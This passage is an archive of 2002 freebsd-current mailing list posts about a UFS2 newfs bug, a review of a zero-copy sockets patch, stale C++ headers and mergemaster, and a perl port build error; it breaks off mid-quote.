Message-ID: <20020619152504.GB809.qhwt@myrealbox.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <34805.1024474049@critter.freebsd.dk>
User-Agent: Mutt/1.5.1i
X-Dispatcher: imput version 20000228(IM140)
Lines: 42
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 10:07:29AM +0200, Poul-Henning Kamp wrote:
> 
> Kirk is loading and aiming is committatron with the UFS2 patch,
> expect to see it hit -current any day soon.

newfs doesn't work well with swap-backed filesystem:

# mdconfig -at swap -s 256M -u 1
# disklabel -rw md1 auto
# newfs /dev/md1c
Extent size set to 16384
/dev/md1c: 256.0MB (524288 sectors) block size 16384, fragment size 4096
        using 4 cylinder groups of 64.02MB, 4097 blks, 4224 inodes.
super-block backups (for fsck -b #) at:
 32, 131136, 262240, 393344
write error: 8
newfs: wtfs: Read-only file system
# /sbin.pre-ufs2/newfs /dev/md1c
/dev/md1c:      524288 sectors in 16 cylinders of 1 tracks, 32768 sectors
        256.0MB in 1 cyl groups (21 c/g, 336.00MB/g, 16384 i/g)
super-block backups (for fsck -b #) at:
 32


If I comment out the following part of mkfs.c, newfs doesn't fail.

@@ -535,12 +416,29 @@
        if (Nflag)
                exit(0);
        /*
+        * Zero out the boot area to avoid old superblocks from being
+        * found by mistake. Skip over the disklabel area.
+        */
+       bzero(iobuf, sblock.fs_bsize);
+       for (i = 1; i < sblock.fs_sblkno; i += sblock.fs_frag)
+               wtfs(fsbtodb(&sblock, i), sblock.fs_bsize, iobuf);
+       /*
         * Now construct the initial filesystem,
         * then write out the super-block.
         */



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  9: 9:27 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tesla.distributel.net (nat.MTL.distributel.NET [66.38.181.24])
	by hub.freebsd.org (Postfix) with ESMTP
	id 1856637B404; Wed, 19 Jun 2002 09:09:10 -0700 (PDT)
Received: (from bmilekic@localhost)
	by tesla.distributel.net (8.11.6/8.11.6) id g5JG6fR18603;
	Wed, 19 Jun 2002 12:06:41 -0400 (EDT)
	(envelope-from bmilekic@unixdaemons.com)
Date: Wed, 19 Jun 2002 12:06:41 -0400
From: Bosko Milekic <bmilekic@unixdaemons.com>
To: "Kenneth D. Merry" <ken@kdm.org>
Cc: Dag-Erling Smorgrav <des@ofug.org>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020619120641.A18434@unixdaemons.com>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020619090046.A2063@panzer.kdm.org>; from ken@kdm.org on Wed, Jun 19, 2002 at 09:00:46AM -0600
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Wed, Jun 19, 2002 at 09:00:46AM -0600, Kenneth D. Merry wrote:
> On Wed, Jun 19, 2002 at 15:55:18 +0200, Dag-Erling Smorgrav wrote:
> > "Kenneth D. Merry" <ken@kdm.org> writes:
> > > With those fixes, plus several fixes that have gone into -current over the
> > > past week or so, the zero copy sockets code runs without any WITNESS
> > > warnings at all now.
> > 
> > Planning to commit soon?
> 
> That's the plan.  I need to see if any comments come up, and then make sure
> I'll be in town for a few days at least to handle any problems that come
> up.

  I have a few comments and questions:

  - In uipc_jumbo.c, you appear to avoid using some of the SLIST macros,
    notably when grabbing something off the inuse or free lists.

  - Is the mutex really necessary in jumbo_vm_init()? I suspect that
    if you need to ensure mutual exclusion here, there's something
    wrong; (why would you be running the jumbo vm code before having
    initialized it?) - perhaps you could init the mtx at runtime in the
    jumbo_vm_init routine.

  - It's kind of unfortunate that uipc_jumbo.c has to roll its own
    allocator;  There are a couple of alternatives; to just use 
    UMA or mb_alloc for this sort of thing.  mb_alloc will wire
    all pages allocated through it, though, so maybe it would be worth
    looking at what UMA can do in this respect.  If it cannot do exactly
    what you're looking for, then modifying it to do what you want
    should be relatively simple.  The added advantage is that you'll now
    be using per-CPU caches for allocations of jumbo bufs, and not the
    single freelist that you currently use.

  - I don't know anything about the if_ti code, but it sure looks like
    it's holding the ti mutex a long time in some places (not only in
    your patch).

> Ken
> -- 
> Kenneth Merry
> ken@kdm.org

Regards,
-- 
Bosko Milekic
bmilekic@unixdaemons.com
bmilekic@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  9:23:56 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.bsdimp.com [204.144.255.66])
	by hub.freebsd.org (Postfix) with ESMTP
	id 05A9C37B403; Wed, 19 Jun 2002 09:23:48 -0700 (PDT)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.11.3/8.11.3) with ESMTP id g5JGNkY45600;
	Wed, 19 Jun 2002 10:23:46 -0600 (MDT)
	(envelope-from imp@village.org)
Received: from localhost (warner@rover2.village.org [10.0.0.1])
	by harmony.village.org (8.11.6/8.11.6) with ESMTP id g5JGNjG12133;
	Wed, 19 Jun 2002 10:23:45 -0600 (MDT)
	(envelope-from imp@village.org)
Date: Wed, 19 Jun 2002 10:23:36 -0600 (MDT)
Message-Id: <20020619.102336.36243558.imp@village.org>
To: mi+celsius@aldan.algebra.com
Cc: jstocker@tzi.de, kde@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: C++ troubles continue
From: "M. Warner Losh" <imp@village.org>
In-Reply-To: <200206190713.44776.mi+celsius@aldan.algebra.com>
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com>
	<1024468722.1145.1.camel@twoflower>
	<200206190713.44776.mi+celsius@aldan.algebra.com>
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=utf-8
Content-Transfer-Encoding: base64
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

SW4gbWVzc2FnZTogPDIwMDIwNjE5MDcxMy40NDc3Ni5taStjZWxzaXVzQGFsZGFuLmFsZ2VicmEu
Y29tPg0KICAgICAgICAgICAgTWlraGFpbCBUZXRlcmluIDxtaStjZWxzaXVzQGFsZGFuLmFsZ2Vi
cmEuY29tPiB3cml0ZXM6DQo6IPem19TP0s/CyyAxOCD+xdLXxc7YIDIwMDIgMTE6MzggcG0sIEph
biBTdG9ja2VyIPfCySDOwdDJ08HMwsk6DQo6ID4gRG8geW91IGhhdmUgY2xlYW5lZCB5b3VyIC91
c3IvaW5jbHVkZS9nKysgZGlyZWN0b3J5IGZyb20gb2xkIGdjYyBmaWxlcz8NCjogDQo6IE5vdCB1
bnRpbCBhZnRlciBJIHNlbnQgbXkgZS1tYWlsIDotKSBXb3VsZG4ndCB0aGlzIGJlIHdvcnRoIG1l
bnRpb25pbmcgaW4gDQo6IFVQREFUSU5HPyBCVFcsIGV2ZW4gdGhhdCBzZWVtcyBhIG5vdCBlbm91
Z2guIFdoZW4gYnVpbGRpbmcga29mZmljZS1rZGUzLA0KOiBmYWJzKCkgaXMgcmVwb3J0ZWQgdW5r
bm93biwgYmVjYXVzZSBtYXRoLmggaXMgb25seSBpbmNsdWRlZCBpZmRlZiBXSU5ET1dTDQo6IGlu
IEtEQ2hhcnRUYWJsZS5oIGFuZCBJIGhhZCB0byBtYW51YWxseSByZXBsYWNlIHN0ZDo6Zmxvb3Ig
d2l0aCBmbG9vciBpbg0KOiBLRENoYXJ0UGFpbnRlci5jcHANCg0KSWYgc29tZW9uZSB3YW50cyB0
byB3cml0ZSBtZSBhIGJsdXJiLCBJJ2xsIHN0aWNrIGl0IGluIFVQREFUSU5HLg0KDQpXYXJuZXIN
Cg==

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  9:57:31 2002
Delivered-To: freebsd-current@freebsd.org
Received: from corbulon.video-collage.com (corbulon.video-collage.com [64.35.99.179])
	by hub.freebsd.org (Postfix) with ESMTP id 363CE37B400
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 09:57:26 -0700 (PDT)
Received: from misha (250-217.customer.cloud9.net [168.100.250.217])
	by corbulon.video-collage.com (8.12.2/8.12.2) with ESMTP id g5JGvNQC061883
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Wed, 19 Jun 2002 12:57:23 -0400 (EDT)
	(envelope-from mi+mx@aldan.algebra.com)
X-Authentication-Warning: corbulon.video-collage.com: Host 250-217.customer.cloud9.net [168.100.250.217] claimed to be misha
Content-Type: text/plain;
  charset="koi8-u"
From: Mikhail Teterin <mi+mx@aldan.algebra.com>
Organization: Virtual Estates, Inc.
To: "M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com
Subject: Re: C++ troubles continue
Date: Wed, 19 Jun 2002 12:57:03 -0400
X-Mailer: KMail [version 1.4]
Cc: jstocker@tzi.de, current@FreeBSD.ORG
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com> <200206190713.44776.mi+celsius@aldan.algebra.com> <20020619.102336.36243558.imp@village.org>
In-Reply-To: <20020619.102336.36243558.imp@village.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <200206191257.03898.mi+mx@aldan.algebra.com>
X-Scanned-By: MIMEDefang 2.15 (www dot roaringpenguin dot com slash mimedefang)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wednesday 19 June 2002 12:23 pm, M. Warner Losh wrote:
= In message: <200206190713.44776.mi+celsius@aldan.algebra.com>
=             Mikhail Teterin <mi+celsius@aldan.algebra.com> writes:
= : ÷¦×ÔÏÒÏÂË 18 þÅÒ×ÅÎØ 2002 11:38 pm, Jan Stocker ÷ÂÉ ÎÁÐÉÓÁÌÂÉ:
= : > Do you have cleaned your /usr/include/g++ directory from old gcc files?
= :
= : Not until after I sent my e-mail :-) Wouldn't this be worth mentioning in
= : UPDATING? BTW, even that seems a not enough. When building koffice-kde3,
= : fabs() is reported unknown, because math.h is only included ifdef WINDOWS
= : in KDChartTable.h and I had to manually replace std::floor with floor in
= : KDChartPainter.cpp
=
= If someone wants to write me a blurb, I'll stick it in UPDATING.

But what is the right method? Removing everything from /usr/include/g++,
that's not present in  /usr/src/contrib/libstdc++/include somewhere?

IMHO, mergemaster should be doing this -- for the entire /usr/include/
(for the entire /usr, actually).

	-mi


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10: 8: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by hub.freebsd.org (Postfix) with SMTP id E705337B401
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 10:07:41 -0700 (PDT)
Received: (qmail 14203 invoked by uid 0); 19 Jun 2002 17:07:39 -0000
Received: from pd950a5d3.dip.t-dialin.net (HELO gmx.net) (217.80.165.211)
  by mail.gmx.net (mp010-rz3) with SMTP; 19 Jun 2002 17:07:39 -0000
Message-ID: <3D10BA30.4040803@gmx.net>
Date: Wed, 19 Jun 2002 19:06:56 +0200
From: Michael Nottebrock <michaelnottebrock@gmx.net>
User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: current@FreeBSD.ORG
Subject: Re: C++ troubles continue
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com> <1024468722.1145.1.camel@twoflower> <200206190713.44776.mi+celsius@aldan.algebra.com>
X-Enigmail-Version: 0.61.1.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enig8E7E1A5DC8E60D5DA77E533A"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The following is an OpenPGP/MIME signed message
created by Enigmail/Mozilla, following RFC 2440 and RFC 2015
--------------enig8E7E1A5DC8E60D5DA77E533A
Content-Type: text/plain; charset=KOI8-U; format=flowed
Content-Transfer-Encoding: 8bit

Mikhail Teterin wrote:
> ÷¦×ÔÏÒÏË 18 þÅÒ×ÅÎØ 2002 11:38 pm, Jan Stocker ÷É ÎÁÐÉÓÁÌÉ:
> 
>>Do you have cleaned your /usr/include/g++ directory from old gcc files?
> 
> 
> Not until after I sent my e-mail :-) Wouldn't this be worth mentioning in 
> UPDATING? BTW, even that seems a not enough. When building koffice-kde3,
> fabs() is reported unknown, because math.h is only included ifdef WINDOWS
> in KDChartTable.h and I had to manually replace std::floor with floor in
> KDChartPainter.cpp
> 
> I imagine, Will and -kde got it compiled without this trickery -- what's 
> different about my compiler?

wca's -CURRENT is pre-gcc3. There is more -CURRENT breakage with kde3 
and qt30 (its gif-decoder goes bad).


Regards,
-- 
Michael Nottebrock
"The circumstance ends uglily in the cruel result." - Babelfish

--------------enig8E7E1A5DC8E60D5DA77E533A
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9ELo2Xhc68WspdLARAi63AJ0Yc9wWPWEuIV3vPzwBeP+wDg75wgCdHT3M
cmI2WRH3dqECocs8S7HPCDM=
=4mtC
-----END PGP SIGNATURE-----

--------------enig8E7E1A5DC8E60D5DA77E533A--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10:11:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by hub.freebsd.org (Postfix) with SMTP id 6377437B476
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 10:10:10 -0700 (PDT)
Received: (qmail 28710 invoked by uid 0); 19 Jun 2002 17:10:09 -0000
Received: from pd950a5d3.dip.t-dialin.net (HELO gmx.net) (217.80.165.211)
  by mail.gmx.net (mp007-rz3) with SMTP; 19 Jun 2002 17:10:09 -0000
Message-ID: <3D10BACA.9070802@gmx.net>
Date: Wed, 19 Jun 2002 19:09:30 +0200
From: Michael Nottebrock <michaelnottebrock@gmx.net>
User-Agent: Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Mikhail Teterin <mi+mx@aldan.algebra.com>
Cc: "M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com,
	jstocker@tzi.de, current@FreeBSD.ORG
Subject: Re: C++ troubles continue
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com> <200206190713.44776.mi+celsius@aldan.algebra.com> <20020619.102336.36243558.imp@village.org> <200206191257.03898.mi+mx@aldan.algebra.com>
X-Enigmail-Version: 0.61.1.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enig18F27AD59538FB24C6E9DAE4"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

The following is an OpenPGP/MIME signed message
created by Enigmail/Mozilla, following RFC 2440 and RFC 2015
--------------enig18F27AD59538FB24C6E9DAE4
Content-Type: text/plain; charset=KOI8-U; format=flowed
Content-Transfer-Encoding: 8bit

Mikhail Teterin wrote:
> On Wednesday 19 June 2002 12:23 pm, M. Warner Losh wrote:
> = In message: <200206190713.44776.mi+celsius@aldan.algebra.com>
> =             Mikhail Teterin <mi+celsius@aldan.algebra.com> writes:
> = : ÷¦×ÔÏÒÏÂË 18 þÅÒ×ÅÎØ 2002 11:38 pm, Jan Stocker ÷ÂÉ ÎÁÐÉÓÁÌÂÉ:
> = : > Do you have cleaned your /usr/include/g++ directory from old gcc files?
> = :
> = : Not until after I sent my e-mail :-) Wouldn't this be worth mentioning in
> = : UPDATING? BTW, even that seems a not enough. When building koffice-kde3,
> = : fabs() is reported unknown, because math.h is only included ifdef WINDOWS
> = : in KDChartTable.h and I had to manually replace std::floor with floor in
> = : KDChartPainter.cpp
> =
> = If someone wants to write me a blurb, I'll stick it in UPDATING.
> 
> But what is the right method? Removing everything from /usr/include/g++,
> that's not present in  /usr/src/contrib/libstdc++/include somewhere?
> 
> IMHO, mergemaster should be doing this -- for the entire /usr/include/
> (for the entire /usr, actually).

Yup, that would be splendid. I actually cleaned up my includes by rm 
-r'ing /usr/include && make includes.


Regards,
-- 
Michael Nottebrock
"The circumstance ends uglily in the cruel result." - Babelfish

--------------enig18F27AD59538FB24C6E9DAE4
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9ELrKXhc68WspdLARAlWwAKCTLfemShxNUP3+Am7Pg5VbnGAfGACfeJeQ
kw0bImyUpNcardeGkynlRus=
=NR1i
-----END PGP SIGNATURE-----

--------------enig18F27AD59538FB24C6E9DAE4--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10:21:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from 12-234-90-219.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219])
	by hub.freebsd.org (Postfix) with ESMTP id 4F03D37B40E
	for <current@FreeBSD.org>; Wed, 19 Jun 2002 10:21:24 -0700 (PDT)
Received: from master.gorean.org (master.gorean.org [10.0.0.2])
	by 12-234-90-219.client.attbi.com (8.12.3/8.12.3) with ESMTP id g5JHLJBu089274;
	Wed, 19 Jun 2002 10:21:20 -0700 (PDT)
	(envelope-from DougB@FreeBSD.org)
Received: from localhost (doug@localhost)
	by master.gorean.org (8.12.4/8.12.4/Submit) with ESMTP id g5JHLJMG005589;
	Wed, 19 Jun 2002 10:21:19 -0700 (PDT)
Date: Wed, 19 Jun 2002 10:21:19 -0700 (PDT)
From: Doug Barton <DougB@FreeBSD.org>
To: Mikhail Teterin <mi+mx@aldan.algebra.com>
Cc: "M. Warner Losh" <imp@village.org>,
	<mi+celsius@aldan.algebra.com>, <jstocker@tzi.de>,
	<current@FreeBSD.org>
Subject: Re: C++ troubles continue
In-Reply-To: <200206191257.03898.mi+mx@aldan.algebra.com>
Message-ID: <20020619101948.Q5534-100000@master.gorean.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, 19 Jun 2002, Mikhail Teterin wrote:

> But what is the right method? Removing everything from /usr/include/g++,
> that's not present in  /usr/src/contrib/libstdc++/include somewhere?
>
> IMHO, mergemaster should be doing this -- for the entire /usr/include/
> (for the entire /usr, actually).

Not only no, but hell no. mm has a very specific goal in mind, and it's
already bloated beyond my wildest dreams. If you want a "general system
cleanup device," someone else is going to have to write it.

Doug


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10:25:22 2002
Delivered-To: freebsd-current@freebsd.org
Received: from nebula.anchoragerescue.org (115-7-237-24-cable.anchorageak.net [24.237.7.115])
	by hub.freebsd.org (Postfix) with ESMTP id EB6F537B405
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 10:25:15 -0700 (PDT)
Received: from there (galaxy.anchoragerescue.org [24.237.7.95])
	by nebula.anchoragerescue.org (Postfix) with SMTP id 2450077
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 09:25:15 -0800 (AKDT)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Beech Rintoul <akbeech@sinbad.net>
Reply-To: akbeech@sinbad.net
To: freebsd-current@freebsd.org
Subject: Perl port error
Date: Wed, 19 Jun 2002 09:25:14 -0800
X-Mailer: KMail [version 1.3]
Organization: Sinbad Network Communications
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020619172515.2450077@nebula.anchoragerescue.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

I get the following trying to compile the perl5 port:


rm -f sperl.c
/bin/ln -s perl.c sperl.c
`sh  cflags libperl.a sperl.o` -DIAMSUID sperl.c
          CCCMD =  cc -DPERL_CORE -c 
-DAPPLLIB_EXP="/usr/local/lib/perl5/5.6.1/BSDPAN" -fno-strict-aliasing 
-I/usr/local/include -O -pipe
In file included from perl.h:3407,
                 from sperl.c:16:
/usr/include/sys/statvfs.h:47: syntax error before "typedef"
/usr/include/sys/statvfs.h:59: syntax error before "struct"
/usr/include/sys/statvfs.h:60: syntax error before "fsblkcnt_t"
*** Error code 1

uname: FreeBSD nova.anchoragerescue.org 5.0-CURRENT FreeBSD 5.0-CURRENT #1: 
Fri Jun 14 22:12:22 AKDT 2002     
akbeech@nova.anchoragerescue.org:/usr/obj/usr/src/sys/NOVA  i386
nova#

Beech


-- 
-------------------------------------------------------------------
      Beech Rintoul - SysAdmin - akbeech@sinbad.net
/"\   ASCII Ribbon Campaign  | Sinbad Network Communications
\ / - NO HTML/RTF in e-mail  | 3101 Penland Parkway #K-38
 X  - NO Word docs in e-mail | Anchorage, AK 99508-1957
/ \ -----------------------------------------------------------------












To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10:25:36 2002
Delivered-To: freebsd-current@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [192.203.228.196])
	by hub.freebsd.org (Postfix) with ESMTP
	id A1B6E37B40F; Wed, 19 Jun 2002 10:25:20 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1192)
	id 70761AE027; Wed, 19 Jun 2002 10:25:20 -0700 (PDT)
Date: Wed, 19 Jun 2002 10:25:20 -0700
From: Alfred Perlstein <bright@mu.org>
To: Doug Barton <DougB@FreeBSD.org>
Cc: Mikhail Teterin <mi+mx@aldan.algebra.com>,
	"M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com,
	jstocker@tzi.de, current@FreeBSD.org
Subject: Re: C++ troubles continue
Message-ID: <20020619172520.GI85935@elvis.mu.org>
References: <200206191257.03898.mi+mx@aldan.algebra.com> <20020619101948.Q5534-100000@master.gorean.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020619101948.Q5534-100000@master.gorean.org>
User-Agent: Mutt/1.3.27i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* Doug Barton <DougB@FreeBSD.org> [020619 10:22] wrote:
> On Wed, 19 Jun 2002, Mikhail Teterin wrote:
> 
> > But what is the right method? Removing everything from /usr/include/g++,
> > that's not present in  /usr/src/contrib/libstdc++/include somewhere?
> >
> > IMHO, mergemaster should be doing this -- for the entire /usr/include/
> > (for the entire /usr, actually).
> 
> Not only no, but hell no. mm has a very specific goal in mind, and it's
> already bloated beyond my wildest dreams. If you want a "general system
> cleanup device," someone else is going to have to write it.

I dunno, mergemaster seems to do a really good job of doing the
"file exists here, but not here" thing, I think if someone inverted
the logic it could fill this role nicely.

It's all your fault anyhow, except for your evil two space indents
your code is too good/useful to be left alone. :)

-- 
-Alfred Perlstein [alfred@freebsd.org]
'Instead of asking why a piece of software is using "1970s technology,"
 start asking why software is ignoring 30 years of accumulated wisdom.'
Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10:29:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from theinternet.com.au (c16543.carlnfd1.nsw.optusnet.com.au [210.49.135.162])
	by hub.freebsd.org (Postfix) with ESMTP id DCDA737B40F
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 10:29:24 -0700 (PDT)
Received: (from akm@localhost)
	by theinternet.com.au (8.11.6/8.11.4) id g5JHTF702983;
	Thu, 20 Jun 2002 03:29:15 +1000 (EST)
	(envelope-from akm)
Date: Thu, 20 Jun 2002 03:29:15 +1000
From: Andrew Kenneth Milton <akm@theinternet.com.au>
To: Alfred Perlstein <bright@mu.org>
Cc: current@FreeBSD.ORG
Subject: Re: C++ troubles continue
Message-ID: <20020620032915.L89115@zeus.theinternet.com.au>
References: <200206191257.03898.mi+mx@aldan.algebra.com> <20020619101948.Q5534-100000@master.gorean.org> <20020619172520.GI85935@elvis.mu.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020619172520.GI85935@elvis.mu.org>; from bright@mu.org on Wed, Jun 19, 2002 at 10:25:20AM -0700
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

+-------[ Alfred Perlstein ]----------------------
| * Doug Barton <DougB@FreeBSD.org> [020619 10:22] wrote:
| > On Wed, 19 Jun 2002, Mikhail Teterin wrote:
| > 
| > > But what is the right method? Removing everything from /usr/include/g++,
| > > that's not present in  /usr/src/contrib/libstdc++/include somewhere?
| > >
| > > IMHO, mergemaster should be doing this -- for the entire /usr/include/
| > > (for the entire /usr, actually).
| > 
| > Not only no, but hell no. mm has a very specific goal in mind, and it's
